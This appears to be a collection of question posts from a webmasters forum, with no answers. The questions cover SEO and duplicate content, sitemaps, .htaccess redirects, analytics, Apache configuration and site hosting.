text: I'm trying to create a big main site and many sister sites. They all will be hosted in a same server, but will be multiple domains. When a sister site posts an article, it is submitted to the main site. For example, if the sister site posts an article `sistersite.com/article/seo- optimization`, the main site will have immediately a new article page `mainsite.com/article/seo-optimization`. This can definitely lead duplicate contents across different domains. I have known that the search engines don't like the duplicate contents. The main site may have SEO penalties because of those duplicate contents. I want the main site winning over the sister sites in terms of SERP ranking. I'm thinking the following options:   1. Adding `noindex, follow` for the sister sites   2. Adding a canonical URL `mainsite.com/article/seo-optimization` in that page of the sister site.   3. Updating the content by a moderator for the main site before publishing once it receives a new article. All of these have some pitfalls:   1. May all of the sister sites not be listed in SERP because of `noindex`? I want them listed somehow in SERP.    2. Is it really a valid canonical URL if it is referring to another domain? In fact, I don't want the main site URL included in the source code of the sister sites.   3. It will have work-overloads for the moderator because there may be many articles submtting a day. And how does Google decide what are duplicate contents? For example, 80% of the contents is same, 90% of the contents is same, etc. What would be a best solution to solve duplicate contents over different domains?


title: Will rewriting your .htaccess to 404 to return search results from your site negatively effect your ranking in Google?

text: Depending on the type of site that you are running, it may or may not be advantageous to display search results instead of a 404 page, when someone visits a non-existent page on your site. I believe that the site I've been maintaining recently would benefit from this as it is the site of a publication. With a publication the more people you can get to read your site the better. But after reading up on how Google ranks the "quality" of your site, where you will appear in SERPs, based on how much the meta text of a page relates to the content of the page, I have to wonder if making a 404 page link to the search results would harm the "quality" of your site in Google eyes.


title: XSS with local storage - Is it a concern?

text: I am working on creating a demo of how to use HTML5's local storage. The demo will be placed on my personal website and will append the user submitted data to the html. Can XSS stored on the client negatively affect my website?


title: Sitemap file entries for blog and main php site

text: I'm creating a sitemap manually. It's a PHP site with a WordPress blog. Here's the main site: http://wordfruit.com And here's the blog: http://blog.wordfruit.com   1. Can I put the blog URL in the same Sitemap file as the main site urls?   2. And can I just place the feedburner URL in the Sitemap instead of all the blog urls? -- this URL: http://feeds.feedburner.com/wordfruit   3. And if I place the feedburner url in the Sitemap file, will all new blog posts be taken care of without making any changes to the Sitemap? Thanks,


title: Creating sites with local ips that pointing to a distant server

text: We are a company that is distributed in several places over Europe (real offices).   Each office has its own domain.   company.de   company.co.uk   company.ch   And so. Our website servers are located in one place. We can't distribute our site to different locations.   How can we create a local IP in each location to show our main server. so google will see us as local ip. Explanation:   Google has decided to increase your PR if you have a local IP, they think that if you bought a server in a local market means that you are very serious about your business.   We have 8 employees in each office, we cant have a separate server, is that mean that we are not serious about our business? no, this is y i need to create this illusion. Thanks


title: How to find out the url of a popup?

text: I'm creating a Sitemap by hand. I want to add in the url of a popup -- I presume it has a url. At the top of this page: http://wordfruit.com -- there's a yellow-highlighted link with the text 'How does it work?' Is there a url of that popup? How do I determine what that url is?


title: ProxyPassReverse doesn't seem to be working

text: I have the following virtual host on my personal web server which runs on my NAS.I have dynDNS setup to redirect both mydomain.com and *.mydomain.com to my NAS.               <VirtualHost *:80>         ServerName redir.mydomain.com         ProxyPass /pbay/ http://www.anothersite.com/         ProxyPassReverse /pbay/ http://www.anothersite.com/     </VirtualHost>      when I try to visit "redir.mydomain.com/pbay/",it is redirecting to http://www.anothersite.com/ and the address bar still shows "redir.mydomain.com/pbay/" as intended. But when I do anything on the site which results in another request to the server, the address bar is changing to real (anothersite.com) address.I want to always show only "http://redir.mydomain.com/...." I thought that is what ProxyPassReverse is for. How can I achieve this? Thanks in advance.


title: Google Adsense Impressions Not Matching With Analytics

text: I'm using woopra and google analytics on one site. Both are reporting 100 unique visits to one site. Browsers - 70% Firefox, 10% chrome, 15% IE and remaining are others. My adsense stats are showing only 20-30 visits for this website. Even though analytics and other stat programs are showing more visits, adsense counting only 20 or so impressions out of it. What seems to be the problem here ?


title: Google Places like services

text: Registering with Google Places seems to give a free good quality link for a website for a local business. Are their similar other other free local listings for which every local business should be listed?


title: Code for sitemap -- 'weekly.?

text: I'm creating a Sitemap manually. If I want to specify a url to be crawled weekly, is this the right code:               <url>       <loc>http://wordfruit.com/</loc>       <changefreq>weekly</changefreq>     </url>


title: Importance of frequency of keywords for SEO

text: > **Possible Duplicate:**   >  keyword stuffing in SEO I've seen a few posts on here and elsewhere that talk about the amount of unique keywords used, or aimed, for in a text. But how important is the frequency of keywords for SEO optimized copy, the higher the better? Is there a certain percentage to aim at? For example, I currently have copy aimed for a specific keyword. The rate of this keyword is that it makes up 2% of all words. Is this too low? Too high? The higher the better?


title: Are there any security considerations if users are allowed to upload flash files

text: Lets say I have a website where users are allowed to upload files which will be displayed publicly as a portfolio gallery. For example, users might upload screenshots of a website they designed, or a MS Word document of some PR example text, or a PDF of their CV, etc. Some files will be blacklisted for security reasons, e.g. `.zip` files, `.exe` files and `.php` files. What about flash files? Is there any security concerns if I was going to host `.swf` files and automatically play them?               <?php     if ($extension == 'swf') {         echo '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="640" height="430">            <param name="movie" value="/'.$urlToFLV.'" />            <param name="quality" value="high" />            <param name="wmode" value="transparent">            <embed wmode="transparent" src="/'.$urlToFLV.'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="400" height="430"></embed>         </object>';     }     ?>      I guess the flash code is executed in the users browser, so if there was a security issue, it would be on their machines, not our server?


title: Turn off opacity

text: I got the following layout: > body -> wrapper -> container Body has a background image, wrapper got this css:               #wrapper     {         padding: 40px;         width: 768px;         background: #ffffff;         opacity: .2;         ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=20)";         filter: alpha(opacity=20);              -moz-border-radius: 11px;         -webkit-border-radius: 11px;         border-radius: 11px;         behavior: url(border-radius.htc);              margin:150px auto 0;         position:relative;         width:680px;         z-index:2;          }      and container:               #container     {         -moz-border-radius: 11px;         -webkit-border-radius: 11px;         border-radius: 11px;         behavior: url(border-radius.htc);                   height:360px;         margin:150px auto 0;         position:relative;         width:680px;          }      My problem is that `#container` get the same opacity as `#wrapper`. I want to to have full opacity (i.e. be displayed as normal). I tried to set all opacity options to 100 (1), but that didn't help.


title: Any free skinable alternatives for Flowplayer for video playback?

text: Are there any good free skinable Flash video players, other than Flowplayer? I need something that works well in IE. Something open source would also be nice.


title: What encoding do most users prefer to have?

text: Is there any site, chart, or raw data that shows how much of user have used **_Unicode (UTF-8)_** or **_Western (ISO-8859-1)_** or **_Chinese_** and so. Or provide rough data of what is used in major number of sites. I want a rough data of major browser setting. I want to know which character encoding do most user have.


title: How to Figure AdSense PPC with AdWords CPC of $0.05

text: Often when I am using the Adwords Keyword tool I find keywords with a CPC of $0.05... I mean VERY often. Is this like base level when it comes to PPC or is this a possible error? For example, with a few keywords I have targetted with a 0.05 CPC, I often find a PPC of 0.25 or more. Obviously, this is because my content is triggering other keywords, although it is centered around a 0.05 keyword. I have found several keywords that have over 200,000 searches using the [exact] search parameter but have a CPC of $0.05. I plan on writing content to cover these keywords, but I am trying to figure the approximate value of these keywords. 0.05 leads me to believe there are no advertisers so IF someone were to advertise and use this keyword, it would cost them ~0.05. But since there is obviously no demand for these keywords and thus they aren't getting bids, other ads MUST be shown. How can I predict the value of ads with a CPC of $0.05? Strange question I know, but I'm just trying to understand this a bit more.


title: Googlebot can't access my site when crawling from rootdomain

text: I can't explain why I get this message for my rootdomain result in Google : > trocmalin.com/ > > A description for this result is not available because of this site's > robots.txt – learn more. Here is my site specifics :   * vide-greniers.trocmalin.com is the site address   * www.trocmalin.com redirects (301) to vide-greniers.trocmalin.com   * trocmalin.com redirects (301) to vide-greniers.trocmalin.com too...              User-agent: *     Disallow: /orga/          User-agent: *     Disallow: /sitemap-update      Google results for vide-greniers.trocmalin.com are well rendered, as well as sub pages allowed for bots. But the result for my rootdomain (trocmalin.com) gives this message... Can you help me ?


title: Odd/faulty page links being served to Googlebot

text: Yahoo recently bought Tumblr, where I write fairly long form scientific pieces. I noticed recently that a new script had been added to the end of pages, and it seems to be interacting badly with the Google search bots. A hit today came to `/post/:id/:summary` where this is clearly just some sort of site scheme. It came from a page on _What is a gene, post-ENCODE?_ and when I searched for this title specifically for my site I also pulled up a second seemingly identical hit at               /page/:page      Searching for `site:<siteURL>/:page` comes up blank, presumably due to the punctuation but `site:<siteURL>/post/:id/:summary` confirms that it is just for this one article page. I went to use the 'remove URL' page on Google Webmaster Tools but it says the page is still live, i.e. it's either seeing my article or my entire homepage (when you go `/post/:id/:summary` you actually just get the root URL, and I don't want to remove that from Google!), advising I get the content removed before requesting it be cleared from their cache. I can't see how this site scheme is being generated (at least /sitemap1.xml doesn't give it like that anyway), but searching for `"/post/:id/:summary"` brought up code similar to what Yahoo are adding to sites:               (function() {                     var s = document.createElement('script');                     var el = document.getElementsByTagName('script')[0];                     s.src = ('https:' == document.location.protocol ? 'https://s' : 'http://l') + '.yimg.com/ss/rapid-3.14.js';                     s.onload = function(){                         var YAHOO = window.YAHOO;                         if (YAHOO) {                             YAHOO.i13n.beacon_server = 'nol.yahoo.com';                             var keys = { pd:'/post/:id/:summary', _li:0, i_rad:0, i_strm:0, b_id:66209497 };                             var conf = {                                                                 spaceid:1197719230,                                 client_only:1,                                 yql_enabled:false,                                 keys:keys                             }                             YAHOO.rapid = new YAHOO.i13n.Rapid(conf);                         }                     }                     el.parentNode.insertBefore(s, el);                 })();      It's pretty hard to see what this is doing, and all I'm wondering is whether   1. I've done something wrong in my page Javascript that is interfering with these variables in some way   2. How might I fix it?   3. Should I maybe contact some part of Google or Yahoo? If so where would I even start? I was going to put this on SO thinking it was a Javascript issue but assuming **1.** isn't the case I'll leave it here unless anyone here suggests otherwise. Likewise if this isn't suitable for a "pro webmasters" forum (it's a personal/professional development blog albeit using a custom domain).


title: Are there any stats for local Google v. Google.com usage?

text: Are there any stats for web usage which have attempted to measure how many users in a given country use Google. **com** and how many use the local Google (e.g. Google. **co.uk** )?


title: In a URI, what does the suffix ".do" stand for?

text: I see URI ending in ".do" on some enterprise websites. I've always been curious to know what that stands for, but my Google searches have so far not turned up an answer. Here is an example from ATT customer portal: https://www.att.com/view/displayFullBill.do What does the ".do" mean?


title: Help deploying using Capistrano to HostGator

text: My company uses HostGator to host our web sites, and I'm having a heck of a time figuring out what my final steps are to get a functioning RoR app up there. I've got all the way up to configuring mongrel (I think?) and being able to run deploy:cold without any errors. However, I can't seem to get the app to show up in the designated CPanel area (HG says the name "current" is already reserved for another application), and I'm not sure which port was allowed for me to use. I've opened tickets with Customer Support just to be told that "You can't access the database with root"... Totally unrelated to my question... So I think I'm in the final stretch and if anyone has any insight or experience with HostGator, please cue me in.


title: Does putting Google Custom Search within your site affect traffic negatively?

text: On the 26th of November we put **Google Custom Search** on our site. The day after and all days following traffic dropped off noticeably. This could just be pure coincidence, but it seems odd to have affected the traffic for a whole month. Does anyone know whether there is a known affect from putting **Google Custom Search** within your site?


title: Is using divs instead of new HTML5 tags considered a bad practice?

text: I've found a website that uses `divs` with classes that are names of new `HTML5` elements. At first it looked really ugly and silly, but then I gave it a secound thought and after all it's kind of smart and doesn't require older browsers to download `html5shiv.js` (which is IMHO quite important as IE6-IE8 machines are often older/slower pcs on slow networks). For example: Supports all browsers:               <div class="section">        some content     </div>      Doesn't support IE6, IE7, IE8:               <section>        some content     </section>      I've checked Twitter and Facebook and they're doing similar thing too, do you think it's worth sticking to the first (`div`) style of coding and wait IE8 to drop way below 1% or I'm overreacting and a few kilobytes won't change that much?


title: Will Google preserve URL parameters when indexing my site if the explicit in the site and/or site map

text: I have written some functionality that opens tabbed content on page when visiting a page via a URL with certain parameters. What i have been asked is that will Google, or any other search engine, preserve these URL parameters once my site has been indexed? Therefore when a user that receives said URL as a result visits the site the functionality will be preserved.


title: Is "no-index" necessary with extensive, white-labeled syndication?

text: For the purposes of this discussion, consider the following scenario: You have written a fair amount of quality, unpublished content that third- party websites wish to license from you and white-label on their own sites (i.e. you are ghostwriting for these third parties). In other words, there will be no attribution or links referring to your name, email address, or website at all; it will appear to readers and search engines as if the article were written by the third party instead of by you. Consider that 10,000 of these third-party sites were created independently, without any association to each other (they are absolutely NOT part of a blog farm network). From your collection of 100 articles, you plan to license the white-label publishing right of each article to 100 of these sites (again, on a per-article basis). So, while each of your 100 articles will be published 100 times, it's fair to assume that no site will host all 100 articles. The most any one site will host is 30 articles. **Now for the question** : Given this scenario, and that your intent is not to game search engines at all (but rather to provide quality content on established websites), do you need to include "no-index" meta tags on the pages that display your content? Clearly, you wouldn't want your customers to receive the wrath of the Google Duplicate Content Penalty. However, at the same time, if they can benefit from any Google juice deriving from your content, then that would be a nice benefit. I suppose a more concise question may be, "Would this behavior cause Google to penalize the third-party websites? Or, would Google simply choose one of the sites as hosting the "best" version of the content on a per-article basis?"


title: Do invisible headings that aid accessibility harm SEO?

text: On most websites, I use headings on a page (typically H2) for distinct sections – not only within the main content, but also for sections such as "Section navigation", "Page tools", "Footer". (Usually invisible via class="visuallyhidden".) This is a well-established accessibility technique – making it easy to navigate between landmarks on the page (In future I may use ARIA rel="landmark" for this). An SEO agency has advised our client that these elements should be changed from H2 to DIV, "because they are not semantically relevant compared to the complete page content (and keywords we decide to use)" I want to advise our client that the accessibility benefits outweigh SEO. Who is (more) right – me or the SEO agency?


title: How can I buy my own personalized Top Level Domain (TLD)?

text: Starting fomm tomorrow January/12/2012 I heard it's possible to apply for your own TLD i.e. `.whatever` in place of `.com` `.org` etc. I thought it would require a huge amount of money (I heard stories about paying $185K for one) but I found this company who seems to register a new TLD for just $1000. Here is where they show the price: > The price to register a TLD including the unlimited number of domains that > belong to it is: $1000.- only. Do you think this is a scam or for real? Do you know about any other places where I can go to apply for personalized TLD?


title: Rich snippet error: "Price, review or availability needs to be present" But it is

text:
I'm having problems inserting Rich Snippet code for a product. I literally copied it from some Google page and edited it to my product. The Google Webmaster's Rich Snippet tool gives the error: > In order to generate a preview with rich snippets, either price or review or > availability needs to be present. But it does have the data about price: !["Offerdetails: Item 2 \(...\) Item 2 property price: ..."](http://i.stack.imgur.com/ZDVqH.png) So, will Google still be able to find the price given for the product in the snippets? Or is the error real? The code is used:
Ten Cate Katoensatijnen dekbedovertrek Beoordeling: 4.5Normale prijs: €49.95 Vandaag voor:<meta itemprop="currency" content="EUR" />€24.99Aanbieding loopt tot <time itemprop="priceValidUntil" datetime="2014-05-19">19 mei 2014!</time>Vandaag nog verkrijgbaar!


title: Why are the custom campaign parameters in Google Analytics so long?

text: Adding several Google Analytics custom campaign parameters can make URLs very long.* For example, in Google's own examples:               http://www.example.com/?utm_campaign=spring&utm_medium=referral&utm_source=exampleblog     http://www.example.com/?utm_campaign=spring&utm_medium=email&utm_source=newsletter1     http://www.example.com/?utm_campaign=spring&utm_medium=email&utm_source=newsletter1&utm_content=toplink      Are there shorter alternatives that GA will pick up? * In some implementations, this can be bad for user experience, and could even decrease the likelihood of being shared.


title: Need help with understanding IP blocks

text: I'm trying to troubleshoot some problems with users being blocked from our website by CloudFlare. We run a Joomla 2.5 installation with RSFirewall. I have the list of IP blocks that CloudFlare uses, but I'm not versed enough with IP block math to figure out whether several of the addresses that are currently showing in the blacklist are actually CF servers. For example, the following IP is in our blacklist: 103.22.201.147 And CloudFlare uses the following block: 103.22.200.0/22 Based on what I read here it looks like that address is indeed a CloudFlare address and I need to remove it from the blacklist. Can anybody confirm whether I'm understanding it correctly or not? Thanks for your help.


title: Why the amount of 'indexed' images can go down?

text: I have a site with several thousand of images. All those images included into the sitemap submitted to Google Webmaster Tools. The amount of 'submitted' images is OK, but the amount of 'indexed' is significantly lower than the amount of 'submitted' and it is going DOWN! I'd understand if not all of my images got indexed (however it is also not clear and very frustrating for me) but I can not understand how the indexing can go in the negative direction?! All the images stays on their places. And pages containing them stays unchanged. At least they intended to be. Any thoughts?


title: How can I advertise on Android Market while offering a mobile website for all platforms?

text: I developed an Android application and I am amazed at how effective Android Market has been at spreading the word about it. It basically advertised my application for free. Now I have an idea for a pretty simple mobile application. I could do the whole thing as a mobile website to support more phones. But I'm worried about losing the free distribution channel Android market provided. So I was thinking I could build a very simple webview wrapper that I could distribute on the market to gain free exposure without sacrificing support for other phones. I could also give users a nice desktop shortcut. Is it a common practice to wrap a mobile website in an Android (or IPhone) application just for distribution?


title: Htaccess redirecting 404 URLs to Index page

text: I am trying to setup my htaccess file such that all 404 pages are permanently redirected to the `home/index` page using 301. After I configure the htaccess file I try to test that it is working correctly by typing in a bogus URL such as `site.com/asdf` to see if the 404 will redirect. It does not, it just displays the page not found message from WordPress and fails to redirect to the homepage. The code I am using (below) seemed to be working over on Stack Overflow (link, 2nd reply). I have even tried creating a PHP script to use with htaccess to redirect 404's, but still the same result, no redirection.               # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>          RewriteEngine on     RewriteCond %{REQUEST_FILENAME} !-f     RewriteRule . / [L,R=301]     # END WordPress


title: Image based adsense site

text: I got rejected when trying to apply for an adsense account, it said that I'm lacking textual content. Well, that's a real problem. My newly finished site is a image based site with little or no textual content. Even I used Facebook's comment API for the commenting system, which later renders to be an iframe. So it won't even get past the adsense crawler. Users (including me) have uploaded 27 images to the site so far, but I don't think that 1000 images will make any difference. I'm deeply perplexed now and have no idea on how to get my account approved. Any good idea so that I can get my account approved?


title: Find the user and date a filter was created in Google Analytics

text: How do we find out which user created a filter and on what date within Google Analytics? Google search results are sparse on this very specific topic.


title: Redirect domain.tld to www.domain.tld in Parallels Plesk Panel

text: I inherited a website which has been set up in Parallels Plesk Panel as `www.domain.tld`. Now the problem is that `domain.tld` shows the default Parallels Plesk page and doesn't redirect to `www`. I've read in many places the solution for the opposite problem but can't find anything for this! Is there a way to correct this? Or do I have to recreate the website?


title: How to download database of wordpress from another server?

text: I am writing a script to take backup of WordPress database through another server If I know ftp and wordpress login details, then how can I download wordpress database from another server. This is what I am thinking:   1. As I know ftp then I can see my database setting in `wp-config.php` .   2. But my db-host is `localhost` so how can I connect to database? I just need a direction to solve my problem.


title: Google showing meta descriptions from other pages in the SERPs

text: Recently I added some content to my website and submitted a sitemap files to Google. Now that Google has indexed those pages, I discovered that some of words and sentences that are listed in Google that lead to my website are having their meta descriptions somehow mixed up. Here is how it works: After I put a sentence on Google to check for my website ranking, I can see a page title in the results of `page1`, a link to `page1`, and a description from `page2`. Since my website is a forum, if Google mixes the links of threads, it leads my users to different kind of material that they were looking for. Is there anything I can do about it?


title: What is the best way to show your users that they use an incompatible browser?

text: As developer, i stopped making hacks for IE to let the page look like in other browsers (especially for IE7 and IE8). The javascript engine of IE8 is slower than IE7, IE8 shows the page better. I concentrate on being W3C and use HTML5 and CSS3 features, in IE9 it is not so bad but has 16 modes to render pages and can be easily turn on by accident (that is really stupid) and does not exactly behave like the earlier versions of IE. I complain the user running IE and put some message on the top of the screen with a warning that says that the browser is out-of-date and not using modern standards. The user can click it away or can go to a page to see screenshots rendered in another browser so the user is able to see the difference. But what do you think about that, is this a good way to let users know that the browser they are using is an evil one? I want that hog IE go away, safe me time and to concentrate to make "A beautiful web" instead of being busy with a Microsoft piece of crap. Markedshare must tear down! What can we effectively do about this without the user to scare that it will leave the page? I also concentrate on the Google speedtest, reduce the use of images (requests) and use CSS3 style features but is mostly impossible when users still using IE7 and IE8 (and sometimes IE9). I don't want three different stylesheets, i don't want IE-hacks, i don't want comment conditions, i don't want IE specific things! So what is the best way without scaring users to let them know there are better alternatives?


title: Google Adwords: What is the difference between automatic pricing and manual pricing?

text: Do you use the Google adWord automatic pricing (provide the upper limit you would like to spend), or do you manually adjust and set the the bid price = first page bid min. price? According to Google, the automatic pricing will use the lowest bid price already, so the cost of running ads manually can only be greater than the automatic pricing, right?


title: Virtual hosting on CentOS

text: I have a CentOS machine running Apache. I have a few virtual hosts set up and they run just fine. An example of a setup that's working fine is:               <VirtualHost 10.10.10.38:80>         ServerName site.domain.com         DocumentRoot /var/www/html/site         <Directory /var/www/html/site>             Options -Indexes             Order deny,allow             Deny from all             Allow from {IP address list}         </Directory>         ErrorLog /etc/httpd/logs/site.error_log         CustomLog /etc/httpd/logs/site.access_log common     </VirtualHost>          <VirtualHost 10.10.10.38:443>             ServerName site.domain.com             DocumentRoot /var/www/html/site             <Directory /var/www/html/site>                 Options -Indexes                 Order deny,allow                 Deny from all                 Allow from {IP address list}             </Directory>             ErrorLog /etc/httpd/logs/site.error_log             CustomLog /etc/httpd/logs/site.access_log common             SSLEngine on             SSLCertificateFile    /etc/pki/tls/certs/localhost.crt             SSLCertificateKeyFile /etc/pki/tls/private/localhost.key         </VirtualHost>      This is in > /etc/httpd/conf/httpd.conf I have another entry almost exactly like that except that > site.domain.com becomes > site1.domain.com and points to a different folder in /var/www/html/. I cannot get the browser to locate site1.domain.com. The > site.access_log file is empty. I assume that means that the browser is not able to resolve the DNS. What am I missing out on?


title: Google analytics set up with wrong domain

text: I have recently embedded Google Analytics into a site using the default embed code.               <script>         (function (i, s, o, g, r, a, m) {             i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () {                 (i[r].q = i[r].q || []).push(arguments)             }, i[r].l = 1 * new Date(); a = s.createElement(o),             m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)         })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');              ga('create', 'UA-XXXXXXXX-1', 'MYDOMAIN.COM');         ga('send', 'pageview');     </script>      However I had MYDOMAIN.COM set to an incorrect domain. The views for the site seem very low, however, I can see myself there as a visitor in the real time scanner. What effect would setting the domain incorrectly have had? How does Google use this parameter?


title: Dedicated IP address from 3rd Party Services

text: I'm using hostgator reseller panel with limit to the number of dedicated IPs. I want to use dedicated IP for each account under control panel. Unfortunately hostgator restricts me with an upsell of SSL+IP for 50$. Which i think a bit costly and packed with unnecessary SSL package which i don't want to use. So is it possible to get dedicated IPs from another hosting service or host keeping the files hosted on different server ? or we're restricted to use dedicated IPs from the same host ? So to frame question in this situation, is it possible to buy IP address from 3rd parties or anyone other than your host ?


title: Transfer Google Webmaster Tools data to another account

text: How can I transfer my Google Webmaster Tools data to another account?


title: How does Wikipedia handle URL's such that "http://en.wikipedia.org/wiki/TCP/IP" is possible?

text: Notice the slash in "http://en.wikipedia.org/wiki/TCP/IP" How does it not misinterpret TCP as a subfolder?


title: How to view history more than 30 days in the past?

text: It seems that in Google Webmaster Tools I can only see about a month and a half of crawler history for my website. My site has been verified for several months now. Analytics has a broader history than this. Is there something I'm doing wrong is it that just how Webmaster Tools is?


title: Pros and cons of replacing images with canvas drawings in template?

text: I am going to redevelop a beautiful but heavy theme. I try to make it as light-weight and performant as possible but still eye-catching. In order to minimize the http requests needed to get images and hence save rendering time and bandwidth, I am going to replacing as many images as possible with html5 canvas. So I am wondering what are the pitfalls as well as advantages of this approach.


title: Google: On Everything : Why does google shuffle/change images, news, videos section periodically?

text: Google: On Everything : Why does google shuffle/change images, news, videos section periodically ON THE SEARCH RESULT PAGE? **And what basis does it shuffle?** Hope you people have observed this, that they shuffle the positions of images news videos


title: Recommendations on how to auction a domain name

text: We've a domain name that's okay, though hardly brilliant, that we no longer need. How would you go about auctioning or selling it? Has someone a recommended site where to put it up? I'm assuming this is fair practice, we had thought we'd a real use for it and we're certainly not squatting the name.


title: php fopen => 500 Internal Server Error

text: I have a website hosted on a dedicated server, I noticed that Google and other search engines can't access to the most URLs on my website!! On my localhost I have made a small test :               var_dump(fopen('http://www.aswat.ma', 'r'));      And I got this error : > Warning: fopen(http://www.aswat.ma) [function.fopen]: failed to open stream: > HTTP request failed! HTTP/1.1 500 Internal Server Error in > C:\xampp\htdocs\pnowate\public\index.php on line 4 bool(false) If I change the URL "http://www.aswat.ma" by "www.google.co.ma" I got this : > resource(3) of type (stream) Any one have any idea about this issue ??


title: Joomla Subsite Builder

text: I'm trying to build a New Joomla Site , which would be the Main Site and Users Registering to the site will be able to create their own Sub-sites. For. e.g. if main site is www.xyz.com then sub-sites would be usersname.xyz.com. The steps in the Main Site that will help users to create thier own site are :- 1. Select user Registers 2. Select the Template from the list available , he can even customize or upload his own joomla template. 3. select the features that users can add to his site like blog, shopping site, Photo gallery , Music Gallery , Forums, etc. 4. Adds the url name of his choice for his sub -site. 5. Publish. Can Some one help me on how this site can be build ?, whether its pure customization or just having installed few components can do the job ?, what about server space requirement ? Can we build wizard like structure using any component for steps for the easy user interaction ? Pls reply advice, suggestion will be rally appreciated. Thanks, Mukesh


title: Is there an more user friendly alternative to afraid.org for DNS subdomains?

text: I would like "people out there" to be able to host subdomains to my domain easily. I'm aware that you can do this using afraid.org (free) and it works well, however for "people out there" to use afraid.org is a hard thing because of its cryptic interface (not very user friendly). Any alternatives out there you can recommend, that would allow unlimited subdomains on my domain for whoever wants them, but more user friendly?


title: Install PHP5 with Tomcat 7 on Windows?

text: Can't find anything on this, what are the steps or instructions for installing PHP with Tomcat 7 on Windows?


title: How to see my site's problems with Google?

text: I recently made a website: Boun Schedule Planner, which aims for the search query "Boun Schedule Planner" It was like 5th or 6th for a few days. But now it's not even in the first 3 pages. There are no warnings in Webmaster Tools. There is nothing different than other -seo-wise successful- sites that I did. I do not use any "black- hat" techniques. I just cannot see what the problem is. ## Clues:   1. It is not sandboxed, because the results appear when I search for `site:bounscheduleplanner.tk`   2. It was actually another URL, _samething_.netii.net, then I 301-redirected it to _samething_.tk. Can it be a problem ?   3. I am using a free web host (000webhost). But again, a lot of other sites I do already uses 000webhost. So loading time is not so crucial I guess.   4. There are a lot of auto-generated pages, like the list of departments and courses etc. But the sitemap only has 59 department links.   5. It has no backlinks yet. But it should still rank high, based on my previous experience. What could be the problem that Google not ranks my site even in the first pages ? Thanks for any help !


title: What are reasons of latency for a HTTP request to load HTML?

text: I would like to know what are reasons of latency for a HTTP request to load HTML part of a webpage. I think about:   * loading webpage with proxy   * not having a good web server (apache vs nginx)   * having a bad configuration of web server   * having a bad internet connexion (bad ping) Any other ideas?


title: window.performance (Navigation Timing) - how to get this reported in "analytics way"

text: I have recently learned about window.performance that seems a great way to measure webapp performance using real client traffic. Is there any analytics service that is built on top of this and allows to capture performance metrics from across the world with little effort? I am looking for something like google analytics that requires you to add few lines of JavaScript and everything is taken care of ... preferably something that can be hosted in intranet.


title: Brute force SEO software

text: Can brute force SEO tools like SENuke help in rankings or somehow get you penalized by the search engines? Can search engines even "see" that anonter tool has been used to do the SEO? Is, for example, SENuke worth the money?


title: What is the current legal status of magnet links?

text: Prelude: I develop a cloud service which could be described as dropbox meets torrents and as side effect it enables distribution of arbitrary content via magnet links. Certain amount of magnet links will be displayed on the main website (I will be able to remove them one-by-one or ban users but no more). I will not be able to avoid magnets without complete rework of overall project architecture and either way it will hurt overall performance badly, probably making service meaningless. So my question is, what should I do, to avoid legal problems if my site in a nutshell is just a collection of magnet links? Privacy achieved via end-user encryption, so there is almost no access restrictions on the website. And anyway will help me any? Will hosting in particular country help me?


title: Self Hosted Training Package/Website Recommendation

text: first time poster here, so hope its the right stack exchange. I'm looking for recommendations for a self hosted software/website that will allow for a company to upload training videos and actually log/verify that an employee watched the videos and maybe took a short quiz. Integration with WordPress would certainly be ok if that is a recommendation. Unique user logins would be a requirement needed, but other than that and logging user activity, its still pretty open at this point. Thanks all.


title: Google indexes a lot of pages with non-existent parameter's values

text: Recently, i noticed that in my "google webmaster tools", Google indexes something like 500000 pages on my site, a site formed by more or less 300 pages.   What google indexes is the same pages with other "invented" values for the parameters (like "index.php?action=xe429rtn3" and so on).   The problem is that actually i think that Google sees them as a huge lot of duplicate content! How can that pages have been seen by Google and how i can fix it?   More details: My site use **Joomla 1.5** and the component " **Zoo** ".   The indexes pages are **not linked** in any place in my website. Thank you in advance


title: Does using an author's real name (vs just a company name) typically improve the ranking of blogs/articles?

text: Is there a general rule of thumb for authorship of company blog posts or articles? Specifically, is there any possibility of hurting the _search ranking_ of a website (or its blog posts) by not attributing them to a named individual? (I.e. just saying: "- _By CompanyName_ " instead of "- _By John Smith_ ".) I read about the ever-increasing importance of "Google Authorship" (attributing articles to authors with verified Google+ accounts, ideally with a photo) but I would much rather keep business and personal separate in that regard. As far as I can see, associating an article with a Google+ account seems to increase the CTR (as people are generally more interested in reading an article when they can know what the author looks like) rather than the ranking itself. Is it best-practice to always attribute articles/blog posts to named individuals, or can I safely continue to attribute authorship to a generic company name, without being concerned that search ranking of these articles could be penalized in some way?


I have a facebook like button on my website, but the `data-href` attribute needs a link to like:

      I have a lot of pages, and would like to copy the code on all my pages, and the code would automatically detect the url it's in. Example: `data- href="$link$"` so that i don't need to change the link to that of my pages. **Question** : _How do i make script, that detects its URL and displays it?_ **note** : Website is written in `html5`


title: How to use the canonical tag for multiregion websites and duplicate content

text: We want to use the canonical tag for an multiple region website with the same content. For Example:   1. `www.example.com/services.htm`   2. `www.example.com/uk/services.htm` Then if we use the canonical tag on the page`/uk/services.htm` pointing to `/services.htm` , then the UK region sub folder will be index by Google or not. Because I need to rank on Google's UK search also. Please explain me how to use.


title: Static domain to serve cookies indexed by google

text: I have made a subdomain, `static.example.com` to serve my asset files (images, CSS, etc) from. It shares the same webroot as my main site, `www.example.com`. I don't want it to be indexed due to duplicated content concerns. I need to know   1. how to block Google from crawling this subdomain   2. how to remove any URLs from the SERPs that may have already been crawled


title: How can I version-control and deploy a website's static files while preserving timestamps?

